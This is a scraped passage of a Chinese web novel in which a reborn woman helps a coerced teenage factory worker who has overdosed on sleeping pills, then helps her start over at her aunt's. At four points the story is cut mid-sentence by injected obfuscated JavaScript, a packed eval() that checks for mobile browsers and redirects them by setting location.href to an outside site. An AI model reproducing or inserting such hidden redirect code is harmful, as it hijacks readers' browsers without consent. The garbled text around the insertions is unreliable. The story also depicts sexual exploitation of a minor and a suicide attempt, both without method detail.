赵如月想劝他,以后空宅基地那地方,会比现在镇上的几条街更适合做生意。 张了张嘴,又不知道该怎么说,她找不到合适的借口,说出自己预知的未来。 因为那些当地的政策,不是现在的自己能知道的事,她身边没有任何信息来源的渠道。 她惆怅地关了灯躺下,盯着黑漆漆的蚊帐顶看半天,一点睡意都没有。 宁绍明看不到赵如月的表情,见她不说话,以为她生气了,忙说道:“现在谈这些还早,不管我们要做什么,都要等到过完年才能做,还有很多时间可以慢慢商量。” 接着又说起孩子,企图用孩子的事转移她注意力:“我们现在该好好想想过年要带回去的东西,给孩子们买的滑板和自行车,是在这边买了带回去,还是回老家县城再带孩子们去买?” 孩子? 对呀,还有孩子! 赵如月福至心灵,孩子也是家里的一份子,选全家人住的地方,怎么能不问问孩子们的意见! 25. 第 25 章 赵如月想起上辈子分家的时候,小秋和小夏就更喜欢那个空宅基地! 不过上辈子他们分家,已经是几年后。 他们家确实争到了临街的房子,但那时候,宁家现在的砖瓦老房子已经被推倒重建。 他们乡下人建房子,说不上什么审美不审美的,周边的人怎么建的房子、建成什么样,他们就建成什么样,没想过搞个不一样的。 在乡镇就是这样,这个环境对于跟别人不一样的东西,包容性不强,特立独行只会变成别人口中的笑话和谈资。 而且就算谁真不在乎别人的眼光,想学城里别墅的样子来建,也找不到合适的施工队。 乡下的施工队就是邻居、亲戚之类的熟人,要求搞点不同的花样,人家也不知道怎么搞,还会被嫌麻烦没事找事,到时候一个个都会来劝你,别瞎搞。 除非真的非常有钱,不计成本,去请城里的施工队来做。 上辈子他们新建的房子就跟大多数邻居一样,是一栋一栋紧贴在一起的楼,特别像鹏城现在一些新建起来的城中村楼房。 为了能多做出两个房间,前院后院和中间的天井都没了。 为了省钱,还跟隔壁大嫂家公用中间的一堵墙,隔音效果实在不怎么样。 左邻右舍贴得太近,家里有点什么事,别想瞒着邻居。 家里两个孩子不止一次说过,羡慕某个同学家有院子,周边还跟邻居隔着一段距离,清净得很,停车还特别方便。 反观老宅在的那条街,因为这时候建房规定没那么严格,每家建房的时候都想偷偷多占点地,各家偷偷占一点,好好的一条街,后来都快挤成胡同了。 赵如月打定主意,回去后先探探两个孩子的口风。 看看提前分家的话,他们的选择是不是还跟上辈子一样。 心里有了主意,她暂时把那些事情放下,顺着宁绍明的话,跟他讨论起回家要买的东西。 “别的我还要再想想,滑板和自行车这边便宜很多,我们买了带回去,省下的钱,等回去后也带两个孩子去县城玩一趟,就光带着他们玩,别的不管,让他们尽情地玩一回!在县城买自行车的话,去玩带着就不方便了。” “这个主意好,你真聪明!”宁绍明毫不吝啬地夸赞老婆,“我就想不到应该这么做,孩子们到时候肯定特别高兴!” 赵如月被他夸得哭笑不得,这人把她当孩子哄呢? “行了,你明天还要上班,快睡吧。” 一夜无梦,宁绍明一大早又上班去了。 赵如月在家慢慢收拾东西,把要带回去的东西,放他们现在住的房间里。 带不回去和不打算带回去的东西,全拿出来放在客厅,让吴丽夫妻俩先挑,剩下的过几天统统送人。 不收拾不知道,一收拾起来,才懂得什么叫破家值万贯。 才来一年,他们的东西竟然也有那么多。 年初他们刚来的时候,总是怕缺这个少那个,两个人仗着身强力壮,恨不得把全部家当都咬着牙扛来,各种东西大包小包跟逃难似的。 东西占车子存行李那地方的位置太多,还被司机翻白眼嘲讽了几句。 赵如月算一算回去的时间,那时候她的身体还没法恢复到没受伤前的样子。 来时由她负责扛的东西,回去时肯定带不回去了,更别说还要买不少东西带回去。 毯子、褥子、厚被子、四件套、枕头等等体积大又难拿的,赵如月不打算再扛回去。 那些大部分都是她嫁妆里的东西,质量很好。 当年她父母给她陪嫁的东西多,结婚好几年,都还有没拆封用到的东西。 来鹏城的时候,她特地挑没用过的那部分带来的,满打满算,用了不到一年。 可赵如月现在已经不会觉得不舍。 上辈子都用过一回了,现在家里又还有,没必要为了这些东西硬撑,压迫自己尚未恢复好的身体。 赵如月分拣得正起劲,忽然有人敲门,把她吓一激灵。 经过卢秋英那件事,她现在对敲门声有点心理阴影。 缓了缓才起身去看看是谁。 她走到门口,开门一看,竟然是个十分面嫩的小姑娘,看着年纪比房东的孙女还小。 赵如月看着这小姑娘,觉得面熟,但没记起来她的名字,应该也是老乡。 不过记不起名字,也不耽误交流,说话不加称呼就行,她不动声色地隔着门问:“你找我有事?” 小姑娘知道赵如月最近遇到的事,也不介意她没开外层的铁门。 她通过铁门两条铁栏杆之间,塞进来一个黑色小塑料袋,卡在铁门间隙放着。 又放了一大袋水果在门口:“姐,你帮了我大忙,这些是我的一点心意,请你一定要收下!” 小姑娘飞快说完,放下东西就跑,赵如月听她说的那些话听得一头雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483731|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,没反应过来怎么回事,人已经跑没影了。 搞不清楚情况,她也不敢贸贸然追出去,只好把东西先拿进屋里。 赵如月关上门,走到客厅坐下,顺手打开那个小姑娘塞在门上的黑色小塑料袋。 里面竟然还有一个巴掌的红色天鹅绒金色抽绳的小袋子,这种袋子她之前只在金店见过。 赵如月心想,不会吧,这个不熟的小老乡,不会真给自己送金子吧? 她隔着袋子摸了摸里面的东西,摸到两个小圈。 打开袋子倒出来一看,竟然真是一对素圈金耳环! “这这这……”赵如月瞪大了眼睛,看着被倒在手心的金耳环。 她完全无法想象自己到底帮了那个小姑娘什么忙,人家才会给自己送这么重的礼。 没搞清楚具体情况,这会儿赵如月拿着金耳环,只觉得十分烫手。 收到这份礼之后,赵如月整理东西总是无法专心,一直分心回想那个小姑娘到底是谁。 可实在想不到,只能大概圈出一个范围。 首先肯定是老乡,其次小姑娘身边应该没有长辈,大概率是跟相熟的小姐妹一起出来打工的,要不然长辈不可能让她一个小姑娘自己来。 然而她缩小了范围,还是没能猜出到底是谁。 收到金耳环这事,赵如月不敢让外人知道,只能等晚上宁绍明回来,悄悄跟他说。 宁绍明不像记忆与现在隔了几十年时光的赵如月,她形容了一下那个小姑娘的外貌特征,宁绍明马上就猜到知道是谁了。 “听你描述,应该是家住码头那边,那个二婚娶了个厉害老婆的老范家的大女儿,好像是叫范小蓉,我记得老范这个大女儿是前妻生的。” 宁绍明来鹏城之前,就在码头附近的砖厂干活,老范是他以前的工友: “我跟老范关系一般,不过他跟我大哥同龄,他们俩也算是发小了,倒是常混在一起玩。 码头离我们家那两条街有点远,老范这个大女儿听说也很少出门,所以你觉得她面熟,可能是没跟她打过交道,但在上街买东西的时候偶尔见过。” 在他们那小地方,夫妻吵架都能上镇头条,更别说离婚这么大的事。 宁绍明一说到家住码头附近,在砖厂干活的那个工友老范。 赵如月立马想起来了:“就是当年离婚闹得沸沸扬扬的那个呗?没想到是他大女儿,这姑娘也是可怜。” 26. 第 26 章 赵如月说那姑娘可怜,不单指宁绍明认为的,在说她父母离婚,她多了个后妈,日子不好过太可怜,还指的是这姑娘后来的遭遇。 范小蓉在鹏城到底遇到了什么,赵如月上辈子跟老范家和这小姑娘都不熟,知道得不具体。 她只听说这姑娘走了歪路,钱是挣到不少,但这傻姑娘把大部分赚到的钱,寄老家给她爸了。 最后自己除了一身病痛,什么也没剩下。 原本以为是自己家的地方,最终也没接纳她。 赵如月为什么知道这些? 还不是老范和他老婆太嘚瑟,到处炫耀大女儿在外面挣了大钱。 竟然还自己对外说,范小蓉在鹏城找了个有钱人当二奶,在鹏城住大房子开豪车享福,不用上班就有大把钱花。 两个脑子有坑的,把这当做值得得意的好事,到处跟人显摆。 他们拿着女儿的卖身钱,在老家建新房子不说,又给儿子在县城买了一套商品房,一辆小汽车,儿子结婚的花销大部分也是范小蓉出。 同样在鹏城打工的人里,有人原本就跟老范夫妻俩不对付,休息时跟人出去玩,发现了范小蓉根本不是给有钱人当二奶,而是在夜总会上班出台。 因为看不惯老范夫妻俩那副得意洋洋的嘴脸,他们回老家就把范小蓉在鹏城挣的什么钱嚷嚷出去了。 这事就跟老范以前去嫖.娼被抓,后来被放出来,竟然跟老婆闹离婚,要娶他嫖那个鸡一样,成了镇上很长一段时间内的特大新闻,在镇上闹得人尽皆知。 再后来,赵如月听说范小蓉没再回过老家,好像是跟她小姨走了。 赵如月之后也没再听到过范小蓉的其他消息。 联想到范小蓉上辈子的事,又把这些事跟范小蓉给自己送东西时,说的那些话联系在一起,再结合自己身边最近发生的事。 赵如月隐约抓住了一点眉目:“你说,范小蓉会不会,也是孙洪光和高广强那个案子的受害者?” 宁绍明仔细一琢磨:“对啊,还真有可能,要不然她怎么会说你帮了她?你以前跟她都没怎么接触过,如果不是那件事,我想不到她说的,你帮了她很大的忙,到底是帮了什么忙。” “知道送东西的姑娘是谁就好办了,是不是,等找到人我悄悄问问她,”赵如月把那金耳环重新放回小袋子里,“明天我跟其他老乡打听一下她住哪里,把这金耳环还回去。” 自己又不是特地帮人家,这么贵重的东西,赵如月觉得不能收。 她连房东家和周家送的这类贵重礼物也没收,怎么能收她一个小小年纪辛苦出来打工的小女孩的东西。 宁绍明不放心让她自己一个人去,他们跟住在附近的老乡都比较熟,就算有些老乡以前在老家的时候,只知道有这么个人,没怎么打过交道,但搬到这边后,大家住得近,后来也都熟悉起来了,不存在漏网之鱼。 范小蓉既然跟他们不熟,就说明她住的地方离这边比较远,可能他跟赵如月都没去过。 要是她住的地方,是他们没去过的城中村,宁绍明可不敢让赵如月自己一个人去。 “你别自己去,我给厨师长和同事打个电话,明天跟同事换个班,到时候我跟你一起去。” 赵如月觉得不用那么麻烦:“我又不是小孩子了,不用人陪。” 宁绍明坚持:“我们这边还住着老房子的本地人多,治安算比较好的,有些城中村乱着呢,什么人都有,安全最重要。” “你说的也对,”赵如月才想起这时候零几年,治安确实不算好,“那好吧,明天我们早点去早点回,争取让你睡个午觉再去上班。” 宁绍明说着人已经走到门口鞋架前,换下拖鞋:“我这就出去打电话,正好可以顺便问问其他老乡,那小姑娘住在哪里,应该有人懂,我记得老范姐姐的女儿跟她对象也住在这边,她们是表姐妹,应该有联系。 老范的姐姐跟我大姐同龄,两人以前读书的时候,还是同桌,我来鹏城的时,大姐还跟我说,到这边可以多跟她老同学走动走动,不过离得太远,我跟人家又不熟,就没去过。” 赵如月说:“既然现在就要出去打听,那我跟你一起出去吧,你个大男人,去找人打听一个小姑娘住哪不合适。” 宁绍明想想也是,让赵如月裹得严实点,夫妻俩一起出门去了。 他们先去了范小蓉表姐家,很幸运地在她这里就知道了范小蓉的住处,不用再到处找其他老乡问。 他们还从范小蓉表姐那里得知,范小蓉竟然跟赵如月也是一个厂的,只是在新厂区的新宿舍。 那个厂子的厂区很大,新旧厂区又隔着一条街,赵如月上班的地方在老厂区,她跟丈夫一起在外面租房子住,也不常住宿舍,两人很难遇到。 赵如月之前工作的那个厂,就是高广强姐夫的厂子。 这下几乎她可以确定,范小蓉也是受害者之一。 高广强的事,他姐姐和姐夫没涉及,那厂子现在还在正常经营。 赵如月许久没来了,她和宁绍明挑着早上八点半,该上早班的工人上班,下夜班的工人已经回宿舍休息的时间,才到新厂区门口的保安亭登记进去找人。 登记好,两人一起来到宿舍楼下,到这里宁绍明就不能跟着进去了。 一楼靠近大门的宿舍被用作宿管的办公室,赵如月已经辞工,没有员工牌,要上楼也要再登记一次。 宿舍管理员问赵如月:“你是范小蓉的什么人?找她有什么事?” 赵如月知道她只是例行询问,宿舍没有要求一定是亲属才能进去找人,也就没胡乱给自己按身份,只说:“我是她老乡。” 不过找人的理由就不好这么直愣愣地说出来了。 赵如月找了个借口,半真半假地说:“我男人以前在老家跟范小蓉她爸是工友,他爸说她过年不回去,让我们回去的时候,顺便帮她给家里捎点东西。” 管理员听完了然地点头,自己不回去托老乡带东西很正常。 春节回去的车票早半个月就开始涨价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14493892|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,回去一次,光路费半个月工资就没了。 出来打工一年,回老家想不让人笑话,得买一身体面的衣服鞋子吧? 买衣服也不能光给自己买,父母老人也得一人买一件,表表孝心。 要是有弟弟妹妹,还要给弟弟妹妹买点小玩意儿,再买些好吃的回去,自家过年吃,也给亲近的亲戚分一分,算下来一个月工资打不住。 还有各种零零碎碎的花销,这么一算,回老家过个年,至少两个月白干!这还是全都往少了算的! 宿舍管理员也是外地来打工的,她算着回家过年的花销,滔滔不绝地跟赵如月聊起来。 赵如月登记好之后,宿舍管理员带着她上楼。 两人爬楼梯的时候,宿管左右看看,忽然压低声音跟赵如月说话: “别人托人送东西回家都是自己带上门请人帮忙,你们两口子还特地来找范小蓉拿东西,你家跟范小蓉家只是老乡,还是也是亲戚?” “只是老乡,”赵如月看她神色不太对劲,隐隐有点蠢蠢欲动要八卦的样子,心里警惕起来,开始胡扯: “别看我男人跟她爸以前在老家是工友,其实他俩年纪差了有十来岁,玩不到一起去,关系也一般,只是她爸跟我男人他哥是发小,两个从小穿一条裤子长大,关系好。 她爸拐着弯托他哥来叫我们帮忙,我男人他哥死要面子,帮捎带东西回去还不行,非得让我们顺便来看看人家姑娘在这边生活环境怎么样、同事好不好相处、有没有被人欺负,我男人听他哥的,但他一个男的,又进不来,我不乐意来也拿他没办法,说也说不听,只好跟着跑一趟了。” 宿管啧了一声,深有同感地抱怨:“男人就是这臭德性,听爹妈的,听兄弟姐妹的,听外边狐朋狗友的,就是不听媳妇儿的!不过你们来一趟也好。” 她确认赵如月只是老乡后,跟做贼似的,左右看看,声音压得更低。 音量几乎只有她们两能听到:“我跟你说,你回去可别告诉别人,那个范小蓉,好像在做那种见不得人的生意!” “啊?真的吗?”赵如月皱眉,嘴上适当地发出震惊的疑问,引着她继续往下说。 宿管一拍大腿,声音还是很低,眼神却很兴奋,十足的八卦模样: “怎么不真,我都亲眼看得真真的!就前段时间,我时不时就能看到有男人来接她,好几个不同的男人轮流来! 每次接她出去,当天晚上就不回来了,要是放几天假,放假当天就有人接她走,收假那天晚上才回来!” 赵如月没想到,范小蓉遇到的事情已经这么严重,心里隐隐有些担忧不安。 她想到范小蓉送自己的耳环,那分量跟普通耳环相比可不算轻。 范小蓉出来打工,至少一半工资要寄回家,剩下的她自己买日用品也要用一些。 按范小蓉出来打工的时间和工资来算,买耳环花掉的,也许是她工作这么久才攒下的所有钱。 这姑娘花掉所有攒下的钱,难道日子不过了? 27. 第 27 章 聊着八卦,爬到范小蓉宿舍所在的楼层时,宿管已经说起了别的事。 两人一起走到宿舍门口,宿管敲了几下门,里面没人应声:“奇怪,范小蓉昨天是晚班,我早上看到她回来了,没见她出去啊,这门外面也没挂锁,里面肯定有人在的。” 赵如月透过窗帘的间往里看,她视力好,眼睛尖,看到有一张床上被子拱起。 她指着那张床对宿管说:“那个是不是范小蓉的床?她好像在睡觉,是不是上夜班熬夜太累,睡熟了,听不到敲门声。” “不可能啊,”宿管也凑过来看了看,“我听她宿舍的其他人说,最近范小蓉总是睡不好,有时候半夜做噩梦还又哭又喊的,那应该就是她的床。” 赵如月心头再次涌上不安:“别是生病没人发现,晕过去了吧,你有没有她们宿舍的钥匙?我们开门进去看看?” 宿管说:“不用,从窗户这里可以直接把门打开。” 她说着打开了窗户,直接伸手进去摸索几下,很轻松就把门打开了:“别看这样好像不怎么安全,但这是有人的时候才能这样开,可以从窗户开,有人下班回来,就不用总是教人帮忙开门了,她们自己买了锁头,要是宿舍里的人全都出去了,会从外面用锁头锁上。” 赵如月顾不上继续跟宿管说话,人已经冲进宿舍里。 掀开床上唯一躺着的人被子的一角,果然是昨天去她那里送东西的姑娘:“范小蓉!范小蓉!” 赵如月轻轻推了推她,紧闭着双眼的姑娘没有一点反应。 她又用了些力气,范小蓉还是没反应。 ‘啪嗒’一声,慢几步走在赵如月身后的宿管打开了宿舍的灯。 朝向不太好,又到处挂着蚊帐、衣服,导致室内光线不好,大白天也十分昏暗的宿舍瞬间被灯光照亮。 这时赵如月才看出范小蓉的脸色隐隐有些发青,她有种不好的预感。 抖着手,把手指伸到范小蓉鼻子底下探了探,发现她还有呼吸,不禁松了一口气。 宿管走过来,捡起范小蓉床下的一个药瓶:“看来她真是生病了,有些药吃了容易犯困,吃完药睡下确实不容易被吵醒。” 赵如月听了宿管的话,稍稍放松了些,然而一个不经意的转头,看到她手上拿着的空瓶子,感觉有点眼熟。 她把那空瓶子要过来看了一眼,日期和瓶身包装纸的新旧程度。 整个人立刻蹦了起来:“快!快下楼打120,叫救护车!” 这种药,她以前跟两个孩子闹矛盾,心烦睡不着的那些年也吃过,所以一看就看出来了。 “怎、怎么了?为什么要叫救护车?”宿管被她这一嗓子喊懵了,看了一眼药瓶,没看出什么门道。 范小蓉生病不是吃药了吗?怎么就要叫救护车了? 赵如月顾不上解释,立刻冲出宿舍,冲着楼下站在楼下等自己的宁绍明喊:“绍明,快去宿管办公室给120打电话,叫救护车!范小蓉吞安眠药自.杀了!” 她这一喊,把宿舍楼里下晚班休息的人全喊醒了,其他宿舍陆陆续续有人出来张望、讨论。 “刚刚有人在喊什么?什么救护车120的?” “谁生病了叫救护车?我睡太熟,没听清。” “我刚才还没睡,听清了,那个喊人的是范小蓉吞安眠药自.杀,叫楼下的人打120叫救护车!” “天啊!竟然有人自.杀!到底怎么回事?” “谁知道呢,有人认识自.杀那个吗?怎么样了?死没死啊?” “太可怕了!咱们厂里怎么会发生这样的事,万一人真死了,以后这宿舍还让人怎么住啊!” “是啊,真吓人!” “范小蓉……范小蓉不就是那个谁!”说这话的人给身边的朋友使了个眼色。 她朋友愣了一下,很快反应过来:“你说的是隔壁车间那个、别人说她是做那什么的女的?” “就是她!” “怎么还闹自.杀了?” “会不会是被家里人发现,嫌弃她丢人,不认她,她就不想活了?” “没证据的事,你们别瞎说!” “谁瞎说了,住我们这一栋的人,谁不知道她是干什么的!” 有跟范小蓉相熟的工友听到消息,赶过来看看是怎么回事,半路上就听到有人嚼舌根,当场跟那几个人吵起来。 各种各样的人说话声汇聚在一起,赵如月只听到耳边嗡嗡声作响,感觉时间过得太慢,救护车来得也太慢。 她现在没有手机,不能马上查该如何急救,身边也没有电话,不能连线医护人员,让她们指导。 自己两辈子也是第一次遇到这种情况,完全不知道在等救护车来的这段时间,自己应该做些什么可以对范小蓉有些帮助。 最后只能什么都不做,待在那里等着。 赵如月感觉过了大半天救护车才来,实际上工厂附近就有一家医院,从叫救护车到救护车到达,只过了十几分钟。 宁绍明跟着医护人员才得以上楼,他走到呆坐在床位的赵如月身边,握住她的手,那手冷得像是握住了两个冰块。 感受到手上传来的温度,赵如月终于回过神来,腿软得站都站不稳,被宁绍明半抱半扶地跟着医护人员一起下楼,一起坐上救护车去医院。 宿管和她们主管也跟着一起来了。 几人一起在抢救室外面等着,不知过了多久,医生终于出来。 赵如月听到医生说了一句:“幸好送来得及时……”后面医生好像还说了什么,但她完全听不进去了。 只知道范小蓉被救回来了,已经没有生命危险,只是人还比较虚弱。 她醒过来之后,面对工厂派来的负责人,任凭他们说什么,她都一声不吭。 等工厂派来的人离开,赵如月走进病房,范小蓉才留着眼泪,声音沙哑地对她说了一声:“对不起。” 赵如月叹气,她是真的不太会安慰人,也装不成知心大姐姐说那些暖心的话。 她直接有什么就说什么了。 “你送的水果我收下了,但那对金耳环我不能收。” 范小蓉听到这话有些激动地想坐起来。 赵如月按住她:“你别起来,好好躺着休息,听我说完。” “我知道你为什么要送我东西,可你是受害者,不是加害者,我不能收你那么贵重的东西,其他受害者家人送的贵重物品,我都没收,我要是收了你的,我成什么了?” 坑高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502872|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 广强和高父,赵如月可以眼睛都不眨一下,可范小蓉已经够可怜的了。 宿管八卦的那些话,也许有添油加醋的成分,但是范小蓉被人叫走,是事实,厂里不少人都看见了。 赵如月猜,她大概被迫陷得比房东的孙女和周家的姑娘更深。 可范小蓉身边没有可以依靠的人,她没能及时得到帮助,甚至都不知道能跟谁说,也不敢跟人说,更不知道如何自救、能找谁救自己,又有谁能救自己。 赵如月不知道上辈子范小蓉是否也吞药自.杀过。 只知道自己不希望她跟上辈子一样走歪路,更不希望她就这么没了。 赵如月将一直放在口袋里的耳环拿出来,塞进范小蓉手里:“你这次吃安眠药是个人自发的行为,你们厂里不愿意给你垫医药费,我就先垫了,等你病好了,医药费你得还我。” “姐,可是我、我……”范小蓉把耳环往赵如月那边推,可她身体太虚弱,哪比得过赵如月的力气。 最后只能攥着耳环流眼泪,哽咽着说:“我不是不想还你……只是我可能、可能在厂里待不下去,不能继续上班挣钱了,厂里的人都知道我……” 她咬着下唇,剩下的半句话怎么也说不出来。 范小蓉晚上做梦,总会梦到自己掉进水里,她拼命地想往水面游,却永远浮不出水面、游不到岸上。 高广强被抓了,但那些事造成的影响却没消失。 周边的声音、那些鄙夷的眼神,伴随异样眼光而来的厂里男员工的骚扰,就像紧紧缠绕住她的水草,拽着她,将她困在深潭,让她窒息。 “姐,我脏了,我再也回不去了!” 这些事她憋在心里太久,终于有个可以理解自己,让自己可以放心倾诉的人。 范小蓉忍不住抱着赵如月放声痛哭,边哭边诉说着自己的遭遇。 站在门边的宁绍明急忙走出去关上门,站在门外注意着外面,不让人到门口偷听。 赵如月在里面陪着范小蓉,她没说话,只是像一个母亲哄哭泣的孩子一样,抱着她,轻轻拍着她的后辈,听她诉说所有的委屈。 大哭发泄过一场,又痛痛快快地把心里话全都说了出来,范小蓉终于冷静下来。 冷静下来后,她想离开这个世界的心,终于不再那么坚决。 只是她依然不知道自己该怎么办。 回老家? 她刚来打工的时候才十四岁,还没到十六岁可以出来打工的年纪。 但是她爸和她后妈找人借身份证,也要让她出来挣钱,他们甚至不愿意等到她初中毕业。 而且回去后不再出来打工的话,她又该怎么跟家里人解释呢? 同一个厂上班的老乡不少,肯定有人听说过她的事,万一人家回老家,跟老家的人说了怎么办? 到时候老家她也一样待不下去。 她今年满十六岁了,不能出来给家里挣钱,她爸和后妈很有可能,会随便找个给彩礼多的人,把她嫁出去。 范小蓉感觉,天大地大却没有一个自己能容身的地方,要不然之前她也不会想不开。 赵如月听完她的话,试探着问:“你妈跟你爸离婚,离开老家后,你还跟她有联系吗?能不能找到她?” 28. 第 28 章 提到自己的亲妈,范小蓉神色黯然:“我爸妈离婚后,我就再也没见过她,也联系不上,去我外婆家问,我外婆和舅舅姨妈们也说没有她的消息。” 她不知道该不该相信外婆那边的人,也许她们也不想让她再去找她妈妈,后来她就很少去,也没什么时间去了。 因为她放学回家除了要做作业,还要做家务,做饭、洗全家人的衣服、喂鸡、喂鸭、喂猪、放牛全是她的活,根本没有多余的时间去。 父母离婚的时候她还小,但她妈妈离开前也问过她,要不要跟她走。 当时她不懂事,奶奶哄她说,要是她跟着妈妈走,等她妈妈嫁给别人,就会把她卖了。 到时候她就是个没爸没妈的孩子,留在家里,至少她还能有个爸,她就信了,说不愿意走。 父亲再婚后,她很快被迫懂事,才后知后觉自己错过了什么。 但是跟她妈妈走,是否就会过得比留在老家好呢? 范小蓉自己也不知道答案,但人总是会美化自己没选择的那条路。 她在家受委屈的时候,总会不自觉幻想,自己当初没选择留下,而是选择跟妈妈走,然后过上了很好的生活。 可幻想终究只是幻想。 赵如月不知道范小蓉的想法,她只知道范小蓉急需脱离现在的环境和自轻自毁心态。 听完范小蓉的话,她尝试让范小蓉从另一个角度看待这件事:“你看,你妈妈走了之后,连你和你外婆家的人作为亲人都找不到她,换到你自己身上,你也可以做到。” 范小蓉一怔:“姐,你的意思是……” 赵如月:“既然觉得那个厂回不去,那干脆就不回去了,担心老家人也知道那些事,老家也可以不再回去,彻底远离让自己难受的环境。 你现在人在外面,不想让人找到,他们绝对找不到你。 国家那么大,全国那么多的城市,换一个地方,身边都是陌生人,跟旧人的联系一断,新人谁知道你的过往?” 范小蓉有些心动,又有些犹豫:“可我一个人去陌生的地方……” 赵如月挑眉:“死都不怕,还怕去陌生的地方?逃避既不可耻,也很有用!” 至少对于现在的范小蓉来说很适用! “是啊,我算是死过一回的人了。”范小蓉感觉心胸骤然开阔,大不了就是一个死,还怕什么呢。 她这会儿倒是有点后悔,当初被逼着做那些自己不想做的事时,自己没有这样的勇气。 赵如月看她低头沉默的样子,以为她还是害怕。 又说道:“真害怕去陌生的城市,那去鹏城别的区也行,你来鹏城打工将近两年,辛辛苦苦忙着上班挣钱,还没好好看过这个城市吧? 鹏城那么大,有好几个片区,也许你出了这个厂所在的片区,跟去了其他城市没什么两样,你混入人群,就像一滴水混入大海,只要你想,就可以再也遇不到任何一个熟人。” 赵如月其实还想劝范小蓉跟范家断掉联系,别给那一家子吸血鬼寄钱了。 可思来想去,还是觉得疏不间亲。 她跟范小蓉只是因为一件事有了交集,自己阴差阳错救了她,互相之间却算不上真正的熟人,有些话可以说,有些话说出来不合适。 可不说的话,赵如月心里总觉得不爽,凭什么一个小小年纪、还没成年的姑娘出来工作,那一家子就等着吃她的劳动成果。 她想了想,想到范小蓉的小姨,上辈子听八卦的时候,听到范小蓉后来跟她小姨走了。 给她说这事的人,也八卦了一嘴她小姨的经历,那人还说范小蓉的小姨,这几年也在羊城的电子厂打工,距离鹏城那么近,她竟然没看住外甥女。 赵如月这会儿听范小蓉说,她这些年跟外婆家那边的人不怎么走动,感觉她小姨上辈子被人说嘴也挺冤的。 就凭她小姨上辈子愿意顶着闲言碎语的压力,带走收留名声坏成那样的范小蓉,应该也坏不到哪里去。 “我听说你小姨在羊城那边上班,你要是有她的联系方式,再不行,去找她也不错,有个长辈在身边,也不容易被人欺负。” 范小蓉还真有小姨的联系方式:“那我试着联系一下我小姨,能联系上的话,我就去她那里,等我找到新的工作,拿到工资,我肯定先把医药费还上。” 听到这话,赵如月总算可以放心了,这姑娘能想以后找新工作的事,应该不会再想不开做傻事。 “什么时候还钱都行,我不着急,你是个好姑娘,我相信你不会赖账。” 范小蓉难得被人夸,仅仅夸了那么一句好姑娘,她就既高兴又有些不好意思起来,连脸都红了。 赵如月真心希望她能联系上她小姨,跟她母亲娘家那边走得越近,以后有更大概率跟父亲那边越疏远。 范小蓉的小姨作为她的亲人,有些话由她小姨来说更合适,最好能劝得范小蓉跟范家断绝关系,不要再供养那一家子吸血鬼。 想到断绝关系,赵如月又想起上辈子跟自己断联的女儿,那时候的她,是不是也被女儿当做吸血鬼了? 她应该没老范家那么丧心病狂吧? 赵如月思绪复杂,劝好了范小蓉,她离开的时候心情却不太好。 宁绍明不知道原因,还以为她在担心范小蓉以后怎么办: “要不我们回去问问房东,能不能让范小蓉去他亲戚的厂子上班?房东不是说,他又好几个开厂的亲戚,应该不会都开在这一片吧?” 赵如月摇头:“先看看吧,范小蓉说先试着联系她小姨,联系上的话,就去羊城她小姨那边,联系不上再说。” “也好。”要不总去找房东帮忙,宁绍明也觉得不太好意思。 不知道是不是范小蓉经历一系列不幸后转了运。 过了没几天,赵如月收到了范小蓉从羊城寄来的信。 这还是赵如月第一次在鹏城收到信,感觉还挺新奇:“我还想着,后天你刚好有空,再过去看看她怎么样了。” 宁绍明也觉得新奇又好奇:“信上写的什么?” 赵如月边看信边告诉他:“范小蓉在信上说,她现在一切都好,那天我们走后,她就借医院的电话联系了她小姨,她小姨第二天就请假赶到医院,她们第三天问过医生,确认可以出院后,就去厂里收拾东西辞工走了。 她小姨一家在羊城租了房子,范小蓉暂时在那边休养一段时间,等过完年就进她小姨上班的电子厂工作。 她还跟我道歉,说不是故意一声不吭就走,而是担心离开前来找我被人看见,到时候范家人知道了她离开前最后见的人是我们,会给我们惹麻烦。” 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14506159|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 